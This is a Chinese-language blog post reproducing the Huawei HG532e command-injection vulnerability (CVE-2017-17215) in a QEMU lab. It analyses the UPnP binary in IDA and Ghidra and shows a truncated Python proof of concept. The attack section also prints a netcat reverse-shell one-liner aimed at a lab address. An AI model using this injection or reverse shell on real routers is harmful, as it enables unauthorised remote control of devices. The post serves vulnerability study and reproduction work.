1. 前言
突然发现手里居然还有个华为的路由器固件相关的漏洞复现了没写文章,重新温习下吧。
2. 实验环境
1 | Ubuntu 20.04 |
固件下载地址:
1 | https://ia801309.us.archive.org/15/items/RouterHG532e/router%20HG532e.rar |
3. 漏洞信息
华为HG532部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向端口 37215 发送恶意数据包来发起攻击。成功利用该漏洞可能会导致远程执行任意代码。
4. 环境模拟
4.1 系统架构
下载固件后,binwalk直接提取文件系统
readelf确定系统架构信息
MIPS大端序,所以模拟环境的时候需要用到qemu-system-mips
先配置tap的虚拟网络吧(关于模拟tap虚拟网络的脚本可以看我之前的文章。)
4.2 system模拟
启动QEMU
1 | sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic |
账密root/root
,网络环境构建完成
scp
把解压出来的系统文件squashfs-root
copy进去
1 | sudo scp -r squashfs-root/ root@192.168.7.41:/root/ |
在虚拟机中挂载proc
和dev
目录,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备。
1 | mount -o bind /dev ./squashfs-root/dev |
这里新开个ssh端连接QEMU虚拟机,然后启动路由器
这里注意执行chroot
命令,将squashfs-root
目录作为当前环境的根目录。
这时候回到之前的QEMU终端,发现IP变了,导致我们没办法访问了。
使用命令将我们的IP改回来
1 | ifconfig br0 192.168.7.2/24 up |
其实这里有个很奇怪的问题,我看别的师傅的帖子,eth0
网络一开始就是192.168.x.2/24
,后面路由器运行后导致IP改变了,也都是给eth0
配x.2
,给br0
配x.x
,然后访问x.2
。我就不一样,我从一开始就是自动获取的IP,后面配置访问时也是需要访问br0
的IP,而不是师傅们的eth0
的IP。。。
奇奇怪怪的问题,因为一开始没文章没写完,虚拟机还不小心关掉了。再次模拟环境的时候,貌似就没上面的问题了,直接按常规配置就能用了。
7.41建立安全连接失败,7.2直接连不上。查了下,貌似是浏览器版本太高的问题,换个低版本的火狐。
1 | wget http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/46.0.1/linux-x86_64/en-US/firefox-46.0.1.tar.bz2 |
下载后可以直接运行里面的firefox
成功访问到路由器。
5. 漏洞原理
5.1 IDA汇编版
根据Check Point的漏洞报告可知,漏洞点位于UPnP服务中。UPnP是路由器中常见的协议,具体信息详见谷歌/百度。
直接将UPnP服务的upnp程序丢到IDA中,然后搜索字符串NewStatusURL
,对漏洞点定位
跟踪数据交叉引用
漏洞点如下
ATP_XML_GetChildNodeByName
函数定义如下
程序首先进行SOAP XML
报文解析,得到元素 NewDownloadURL
和 NewStatusURL
的值。然后进行以下拼接,最终调用system()
函数执行。
1 | snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL) |
5.2 Ghidra伪代码版
github下载Ghidra,记得需要安装个jdk17。
打开后如果你jdk不是17的话,会提醒你输入jdk17的路径。
这里需要你新建个Project,然后直接将upnp这个程序拖进去就可以了。
双击upnp这个文件,开始分析
默认即可
成功载入我们的文件
筛选我们刚才在IDA中看到的字符串
直接默认选项
成功检索到我们的关键字符串
双击字符串,可以看到这个字符串所在函数的地址
定位到函数地址,查看伪代码
可以看到sprinf
将418
和414
变量直接写入到了1040
字符串,未经过任何验证就直接使用system
执行
1 | int FUN_0040749c(int param_1) |
可以看到程序通过ATP_XML_GetChildNodeByName
函数来获取NewDownloadURL
节点的内容,然后判断结果是否为空,如果获取成功且结果不为空则继续获取NewStatusURL
节点的内容,再判断结果是否空,如果不为空则将NewDownloadURL
和NewStatusURL
节点的内容拼接到字符串,并执行。
5.3 POC
构造POC
1 | import requests |
成功通过这两个节点执行命令,分别成功创建了两个文件夹。
5.4 反弹shell
再来试试反弹shell的脚本
1 | import requests |
弹不回来,试了好多都不行。。。
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.7.38 7777 >/tmp/f |
放弃挣扎。。。难搞的要死。
参考资料
1 | 华为路由器-历史漏洞复现 |
发布时间: 2023-09-11
最后更新: 2023-09-26
本文标题: HG532e命令执行漏洞复现(CVE-2017-17215)
本文链接: https://foxcookie.github.io/2023/09/11/HG532e命令执行漏洞复现(CVE-2017-17215)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!